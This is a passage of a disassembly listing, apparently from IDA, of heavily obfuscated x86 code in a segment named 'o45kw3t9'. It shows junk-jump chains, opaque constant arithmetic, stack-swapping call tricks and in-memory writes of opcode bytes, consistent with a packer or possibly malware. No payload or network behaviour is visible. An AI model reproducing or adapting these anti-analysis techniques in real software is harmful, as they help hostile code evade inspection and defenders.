; FUNCTION CHUNK AT 0040C468 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CC41 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CCC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D66A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DA3B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DA68 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040EA0F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040FD52 SIZE 00000011 BYTES

		mov	ebp, esp
		pushf
		mov	[esp+4+var_4], ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_40C192
sub_40CC20	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40CC2E:				; CODE XREF: sub_40928F:loc_40EC43j
		xchg	eax, [esp+4+var_4]
		jmp	loc_40B1DD
; END OF FUNCTION CHUNK	FOR sub_40928F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CC37:				; CODE XREF: o45kw3t9:0040FD0Bj
		jmp	locret_40E48C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40CC3C:				; CODE XREF: sub_40D32E+1j
		jmp	loc_40F100
; END OF FUNCTION CHUNK	FOR sub_40D32E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40CC41:				; CODE XREF: sub_40CC20:loc_40A818j
		jnb	loc_40A242
		jno	loc_40F1B5
		jmp	loc_4092FC
; END OF FUNCTION CHUNK	FOR sub_40CC20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40CC53:				; CODE XREF: sub_40A3A2-20Aj
		jmp	loc_40EC00
; END OF FUNCTION CHUNK	FOR sub_40A3A2

; =============== S U B	R O U T	I N E =======================================



sub_40CC58	proc near		; CODE XREF: o45kw3t9:00409D51j
					; o45kw3t9:0040CEE3p
		mov	[esp+0], ebx
		pop	ebx
sub_40CC58	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_409E8E


loc_40CC5C:				; CODE XREF: sub_409E8E+4j
		mov	byte ptr [eax],	0C3h
		jmp	loc_40D7C8
; END OF FUNCTION CHUNK	FOR sub_409E8E
; ---------------------------------------------------------------------------
		call	sub_40DFFD
; START	OF FUNCTION CHUNK FOR sub_40BFBB


loc_40CC69:				; CODE XREF: sub_40BFBB-245Dj
		jmp	loc_40EC15
; END OF FUNCTION CHUNK	FOR sub_40BFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_40CC6E:				; CODE XREF: sub_40A416-779j
		and	edx, 27AC1E7Dh
		cmp	edx, 5482C074h
		jmp	loc_40DBBB
; END OF FUNCTION CHUNK	FOR sub_40A416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40CC7F:				; CODE XREF: o45kw3t9:loc_40CC93j
					; sub_40ABFA:loc_40DF58j
		call	sub_40BDCC
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]
		jmp	loc_40ECFD
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CC93:				; CODE XREF: o45kw3t9:0040A0C5j
		jmp	loc_40CC7F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC98	proc near		; CODE XREF: sub_40BB28-725p

; FUNCTION CHUNK AT 00409DEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A4EB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040C96A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040CA37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DE06 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E35C SIZE 00000020 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_40A4EB
sub_40CC98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40919D


loc_40CCA8:				; CODE XREF: sub_40919D+Dj
		mov	eax, [esp+0]
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40919D
; ---------------------------------------------------------------------------
		db 79h,	29h, 0F6h
dword_40CCB4	dd 9ED5E5EAh						; o45kw3t9:loc_40C5BBw	...
; ---------------------------------------------------------------------------
		call	nullsub_11
		jmp	ds:dword_407880+9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40CCC3:				; CODE XREF: sub_40CC20:loc_40ACF5j
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_40CC20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jz	loc_40C6FE
		jmp	loc_40A78C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40CCD4:				; CODE XREF: sub_40AD7A:loc_40BD6Aj
		pushf
		jmp	loc_40C3EB
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------


loc_40CCDA:				; CODE XREF: o45kw3t9:loc_40DB72j
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-18h]
		push	offset loc_40D284
		jmp	locret_4094CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6B7


loc_40CCED:				; CODE XREF: sub_40C6B7+1Cj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40C2F1
; END OF FUNCTION CHUNK	FOR sub_40C6B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40CCFB:				; CODE XREF: sub_40928F:loc_40DF84j
		adc	edx, esi
		sub	esi, ebp
		sbb	eax, 97683FBDh
		jmp	loc_40FEDE
; END OF FUNCTION CHUNK	FOR sub_40928F

; =============== S U B	R O U T	I N E =======================================



sub_40CD0A	proc near		; CODE XREF: o45kw3t9:loc_409EC1j
					; sub_40D740+144Ej

; FUNCTION CHUNK AT 0040916C SIZE 00000002 BYTES

		push	ebx
		xor	edi, edx
		xchg	ecx, [edi]
		jmp	loc_40916C
sub_40CD0A	endp

; ---------------------------------------------------------------------------


loc_40CD14:				; CODE XREF: o45kw3t9:0040FCEEj
		call	sub_40C5F3
		adc	ebx, ebp
		xchg	ecx, [esi]
		jmp	sub_409892
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40CD23:				; CODE XREF: sub_40CC20-29CCj
		jmp	loc_40BD79
; END OF FUNCTION CHUNK	FOR sub_40CC20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D179


loc_40CD29:				; CODE XREF: sub_40D179+2FD5j
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_40D179

; =============== S U B	R O U T	I N E =======================================



sub_40CD2E	proc near		; DATA XREF: sub_40E0CA+5o

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00409866 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A89E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040A8BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B4A1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040BA4F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040E399 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FBB9 SIZE 00000017 BYTES

		cmp	ds:dword_4090C0, 0
		jnz	loc_40E70C
		jmp	loc_40E399
sub_40CD2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40CD40:				; CODE XREF: o45kw3t9:0040E393j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA3C


loc_40CD41:				; CODE XREF: sub_40CA3C+3j
		jmp	loc_40E2B9
; END OF FUNCTION CHUNK	FOR sub_40CA3C
; ---------------------------------------------------------------------------


loc_40CD46:				; CODE XREF: o45kw3t9:0040C7EBj
		jmp	loc_40BC35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40CD4B:				; CODE XREF: sub_40B23F-1FBj
		jmp	loc_40CDDC
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3F3


loc_40CD50:				; CODE XREF: sub_40A3F3:loc_40E26Aj
		cmp	byte ptr [eax],	0EBh
		jz	loc_40D782
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		jmp	loc_40C88A
; END OF FUNCTION CHUNK	FOR sub_40A3F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40CD65:				; CODE XREF: sub_40AC2F:loc_410115j
		mov	[eax], esi
		not	eax
		and	edx, 0BC073EC1h
		jmp	loc_40B4BF
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------


loc_40CD74:				; CODE XREF: o45kw3t9:0040FDA9j
		pop	ecx
		add	ecx, 2EB97776h
		xor	ecx, 72690437h


loc_40CD81:				; CODE XREF: o45kw3t9:0040EB57j
		xor	eax, ecx
		pop	ecx
		sub	eax, 95A725D4h


loc_40CD8A:				; CODE XREF: o45kw3t9:loc_40DAD3j
		xor	eax, 5B14CA7Bh
		jmp	loc_40EDF3
; ---------------------------------------------------------------------------


loc_40CD95:				; CODE XREF: o45kw3t9:00409E60j
		jnz	loc_40BEA3
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
		jmp	loc_409200
; ---------------------------------------------------------------------------


loc_40CDA7:				; CODE XREF: o45kw3t9:0040A0A2j
					; o45kw3t9:0040C8BEj
		cmp	dword ptr [ebp-1Ch], 67h
		jnz	loc_40A82F
		mov	eax, 6
		sub	eax, [ebp-4]
		jmp	loc_40E1C9
; ---------------------------------------------------------------------------


loc_40CDBE:				; CODE XREF: o45kw3t9:loc_40B883j
		add	eax, 86AA4A81h
		mov	eax, [eax]
		mov	al, [eax]
		jnz	loc_40A2E9
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40F129
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40CDDC:				; CODE XREF: sub_40B23F:loc_40CD4Bj
		xchg	ecx, [edi]
		jmp	loc_40FE41
; END OF FUNCTION CHUNK	FOR sub_40B23F

; =============== S U B	R O U T	I N E =======================================



sub_40CDE3	proc near		; CODE XREF: o45kw3t9:0040E357j
					; sub_40E650+3p
		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_40A01C
		retn
sub_40CDE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40CDED:				; CODE XREF: sub_40909E+16BDj
					; sub_40E562:loc_4102BDj
		push	63DAB01Fh
		pop	eax
		jmp	loc_409533
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CDF8:				; CODE XREF: sub_40D740:loc_40D7E4j
		jz	loc_40C4BE
		jmp	loc_40FCAF
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_40CE03:				; CODE XREF: sub_40ACAB:loc_409FA3j
		xchg	eax, edi
		push	edi
		xchg	eax, edi
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40ACAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40CE0E:				; CODE XREF: sub_40F02A-4718j
		jmp	loc_40D16C
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CE13:				; CODE XREF: sub_40D5BF:loc_40D09Cj
					; sub_40D740:loc_40D904j
		mov	ebp, edi
		pop	edi
		push	0CDD6A28h
		mov	eax, offset sub_40CE24
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40CE24	proc near		; DATA XREF: sub_40D740-925o
		xor	eax, 57212847h
		add	eax, 0A4448D41h
		jmp	loc_40D8A8
sub_40CE24	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE35	proc near		; DATA XREF: sub_40D026:loc_40B049o

var_4		= dword	ptr -4

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		push	offset sub_40928F
		jmp	nullsub_144
sub_40CE35	endp

; ---------------------------------------------------------------------------
		test	edx, edi
		jmp	loc_40E078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40CE4C:				; CODE XREF: sub_40ABFA:loc_4099A8j
		mov	eax, [ebp+8]
		push	offset loc_409AB7
		jmp	loc_40C32E
; END OF FUNCTION CHUNK	FOR sub_40ABFA

; =============== S U B	R O U T	I N E =======================================



sub_40CE59	proc near		; DATA XREF: sub_40A5DE+302Eo

; FUNCTION CHUNK AT 0040D152 SIZE 0000001A BYTES

		mov	eax, [ebp-4]
		call	sub_40B3E5


loc_40CE61:				; CODE XREF: sub_40B540+39E2j
		adc	ecx, edx
		jmp	loc_40D152
sub_40CE59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40CE68:				; CODE XREF: o45kw3t9:loc_40A9D9j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40AD26
		mov	eax, [ebp+8]
		call	sub_40E677

; =============== S U B	R O U T	I N E =======================================



sub_40CE7A	proc near		; CODE XREF: sub_40DE71+4p

; FUNCTION CHUNK AT 0040AB55 SIZE 00000005 BYTES

		mov	[esp+0], ebp
		mov	eax, [ebp+8]
		push	offset loc_40EE49
		jmp	loc_40AB55
sub_40CE7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40CE8A:				; CODE XREF: sub_40D5BF+12j
		jz	loc_409B99
		jmp	loc_40E0A4
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A467


loc_40CE95:				; CODE XREF: sub_40A467:loc_40ACE0j
		or	ecx, ecx
		push	offset loc_40D1A4
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_40A467
; ---------------------------------------------------------------------------


loc_40CEA1:				; CODE XREF: o45kw3t9:0040C8F9j
		sub	edi, 67EB6ACDh

; =============== S U B	R O U T	I N E =======================================



sub_40CEA7	proc near		; CODE XREF: sub_40C5B0+294Ap

; FUNCTION CHUNK AT 0040C9D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D9C6 SIZE 00000014 BYTES

		mov	[esp+0], eax
		pop	eax
		lea	edx, [ebp-14h]
		jmp	loc_40D9C6
sub_40CEA7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A322


loc_40CEB3:				; CODE XREF: sub_40A322+19j
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		call	sub_40BC53
		popf
		jmp	loc_40B567
; END OF FUNCTION CHUNK	FOR sub_40A322
; ---------------------------------------------------------------------------
		mov	eax, 0C7CC2482h
		call	sub_4090F8
		mov	ds:dword_407880+0Dh, eax
		lea	eax, nullsub_49
		call	sub_40CC58
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40CEE8:				; CODE XREF: sub_40B3E5+17j
		jmp	loc_40FDF5
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40CEED:				; CODE XREF: sub_40C674:loc_40F0F0j
		mov	ebp, [edx]
		jmp	loc_40BC27
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7CF


loc_40CEF4:				; CODE XREF: sub_40A7CF:loc_40EB04j
		jmp	sub_40ABFA
; END OF FUNCTION CHUNK	FOR sub_40A7CF
; ---------------------------------------------------------------------------
		jmp	loc_40E341

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEFE	proc near		; CODE XREF: sub_40CC20:loc_409306p
					; o45kw3t9:00409A01p ...

var_14		= byte ptr -14h

; FUNCTION CHUNK AT 00409B17 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040B3A5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040C773 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EBEE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040FB35 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jb	sub_40BB73
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_40E538
		call	sub_40B029
		cmp	ds:dword_40E410, 0
		jmp	loc_409B17
sub_40CEFE	endp

; ---------------------------------------------------------------------------


loc_40CF20:				; CODE XREF: o45kw3t9:0040B0EEj
		shr	esi, 14h

; =============== S U B	R O U T	I N E =======================================



sub_40CF23	proc near		; CODE XREF: sub_410153+Ap
		mov	[esp+0], ecx
		pop	ecx
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_40FA84
sub_40CF23	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40E76D


loc_40CF33:				; CODE XREF: sub_40E76D+14j
		jmp	loc_40B8E2
; END OF FUNCTION CHUNK	FOR sub_40E76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D1C4


loc_40CF38:				; CODE XREF: sub_40D1C4+15j
		jmp	loc_40FD6B
; END OF FUNCTION CHUNK	FOR sub_40D1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40CF3D:				; CODE XREF: sub_40D740-308Aj
		jmp	loc_40927F
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40CF42:				; CODE XREF: o45kw3t9:loc_409FF4j
					; o45kw3t9:0040D214j
		push	461F298Fh
		pop	eax
		xor	eax, 0AC187815h
		add	eax, 4D2503C3h
		jmp	loc_409033

; =============== S U B	R O U T	I N E =======================================



sub_40CF59	proc near		; CODE XREF: o45kw3t9:00409AA8p
					; o45kw3t9:00409BBEj
		xchg	eax, [esp+0]
		pop	eax
		call	sub_40E858
		push	eax
sub_40CF59	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40B476


loc_40CF63:				; CODE XREF: sub_40B476+Aj
		rol	eax, 0Ah
		mov	ds:dword_40CFB0, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40B476
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_40EDC0
		jmp	loc_40A1B8
; ---------------------------------------------------------------------------


loc_40CF7A:				; CODE XREF: o45kw3t9:00409DD3j
		or	edi, eax

; =============== S U B	R O U T	I N E =======================================



sub_40CF7C	proc near		; CODE XREF: sub_40939B-24Fp

; FUNCTION CHUNK AT 0040C769 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D548 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040F5E8 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		test	byte ptr [ebp-8], 40h
		jz	loc_40B559
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_40C769
sub_40CF7C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40CF94:				; CODE XREF: o45kw3t9:0040FB50j
		jnp	loc_40E619

; =============== S U B	R O U T	I N E =======================================



sub_40CF9A	proc near		; CODE XREF: sub_409022+Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040C822 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, edi
		mov	edi, offset loc_40A7EB
		xchg	edi, [esp-4+arg_0]
		jmp	loc_40C822
sub_40CF9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 47h,	23h, 65h
dword_40CFB0	dd 6B41F2h						; sub_40B476+1AF0w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A5DE


loc_40CFB4:				; CODE XREF: sub_40A5DE+1Dj
		jmp	loc_40D5FF
; END OF FUNCTION CHUNK	FOR sub_40A5DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40CFB9:				; CODE XREF: sub_409FCF+7j
		jmp	loc_40A90C
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
		dw 5E96h
dword_40CFC0	dd 0F7C80B4Ch						; sub_40A259+586Er
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40CFC4:				; CODE XREF: sub_40909E:loc_40E254j
		jmp	loc_4096A7
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40CFC9:				; CODE XREF: sub_40C674+4FBj
		jmp	loc_409485
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40CFCE:				; CODE XREF: sub_40939B+2450j
		jmp	loc_409146
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
		db 0E2h
dword_40CFD4	dd 197C80FFh	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B96E


loc_40CFD8:				; CODE XREF: sub_40B96E:loc_40B977j
		jmp	loc_40EA9C
; END OF FUNCTION CHUNK	FOR sub_40B96E
; ---------------------------------------------------------------------------
		db 3Ch,	0DEh, 11h
dword_40CFE0	dd 0FA5AF901h	dword_40CFE4	dd 0C80B9D17h	dword_40CFE8	dd 0							; sub_409F42r ...
dword_40CFEC	dd 0							; sub_40CC20:loc_40C192r ...
dword_40CFF0	dd 0							; sub_40B23F+6r ...
; ---------------------------------------------------------------------------


loc_40CFF4:				; DATA XREF: sub_40E112+10o
		mov	[edx-10h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		jmp	loc_40DAC4
; ---------------------------------------------------------------------------
		and	edi, edx
		jmp	sub_40AC4A
; ---------------------------------------------------------------------------
		sbb	edx, ecx
		jmp	sub_40E76D
; ---------------------------------------------------------------------------

locret_40D016:				; CODE XREF: o45kw3t9:loc_4099C7j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40D018	proc near		; CODE XREF: sub_40CC20-1DA5p
		mov	[esp+0], eax
		call	sub_40A01C
		retn
sub_40D018	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8A6


loc_40D021:				; CODE XREF: sub_40A8A6+Dj
		jmp	loc_40E952
; END OF FUNCTION CHUNK	FOR sub_40A8A6

; =============== S U B	R O U T	I N E =======================================



sub_40D026	proc near		; CODE XREF: o45kw3t9:0040CB62p
					; sub_40D21F+5p

; FUNCTION CHUNK AT 0040B049 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B283 SIZE 00000005 BYTES

		js	sub_40BC0E
		jmp	loc_40B049
sub_40D026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D031	proc near		; CODE XREF: o45kw3t9:loc_40B81Ep

; FUNCTION CHUNK AT 004093BE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409827 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040D190 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC0B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040F5ED SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_4090C0, 0
		jmp	loc_409827
sub_40D031	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_407880+11h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jz	loc_40FE6E
		mov	eax, [esp]
		call	sub_40DB50
; START	OF FUNCTION CHUNK FOR sub_40EE0D


loc_40D058:				; CODE XREF: sub_40EE0D+12j
		jmp	loc_40DA8D
; END OF FUNCTION CHUNK	FOR sub_40EE0D
; ---------------------------------------------------------------------------


loc_40D05D:				; CODE XREF: o45kw3t9:0040EB83j
		jmp	loc_40DC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E543


loc_40D062:				; CODE XREF: sub_40E543+18j
		jmp	loc_40C47C
; END OF FUNCTION CHUNK	FOR sub_40E543
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8E9


loc_40D067:				; CODE XREF: sub_40A8E9-DD7j
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		jmp	loc_409DD8
; END OF FUNCTION CHUNK	FOR sub_40A8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40995E


loc_40D07E:				; CODE XREF: sub_40995E:loc_40BA27j
		push	68563014h
		xor	[esp+4+var_4], 68563014h
		push	eax
		lea	eax, sub_40DE71
		push	eax
		push	0
		push	0
		push	esi
		jmp	loc_40B0B2
; END OF FUNCTION CHUNK	FOR sub_40995E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40D09C:				; CODE XREF: sub_40D5BF-E7Dj
		ja	loc_40CE13
		sbb	ecx, ebx


loc_40D0A4:				; CODE XREF: sub_40D5BF:loc_40E83Dj
		push	dword ptr [ebp+10h]
		push	edi
		push	9563C332h
		jmp	loc_40B78B
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; ---------------------------------------------------------------------------


loc_40D0B2:				; CODE XREF: o45kw3t9:0040E672j
		jnz	sub_40D2B4
		pop	ebx
		jmp	sub_40AF55
; ---------------------------------------------------------------------------


loc_40D0BE:				; DATA XREF: o45kw3t9:00409F2Eo
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		call	sub_410153

; =============== S U B	R O U T	I N E =======================================



sub_40D0CE	proc near		; CODE XREF: sub_40988C-17Bp
					; o45kw3t9:0040B2D9j

; FUNCTION CHUNK AT 0040DBD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040FB3A SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40B415
		jmp	loc_40FB3A
sub_40D0CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BD10


loc_40D0EC:				; CODE XREF: sub_40BD10-A3Fj
		sub	esi, 0B98EBCDDh
		add	esi, 548AF770h
		xchg	esi, [esp+4+var_4]
		jmp	loc_40C3E6
; END OF FUNCTION CHUNK	FOR sub_40BD10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A447


loc_40D100:				; CODE XREF: sub_40A447+4j
		mov	[ebp+var_4], eax
		call	sub_40AC2F


loc_40D108:				; CODE XREF: sub_40E159-2D07j
		jmp	loc_40DF21
; END OF FUNCTION CHUNK	FOR sub_40A447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40D10D:				; CODE XREF: sub_40D740:loc_409010j
		jl	loc_409902
		js	loc_40FBF2
		add	ebp, 2EFCD9C7h
		jmp	loc_40FFFE
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFF0


loc_40D124:				; CODE XREF: sub_40EFF0-4DF8j
		adc	eax, edx
		shr	edi, 10h
; END OF FUNCTION CHUNK	FOR sub_40EFF0
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40D129:				; CODE XREF: sub_40E98E:loc_40A518j
		xor	edx, 0DCFCD178h
		jmp	loc_40D6B6
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40D134:				; CODE XREF: sub_4092B8+164Fj
		or	ecx, edx
		jmp	loc_40BA2C
; END OF FUNCTION CHUNK	FOR sub_4092B8
; ---------------------------------------------------------------------------


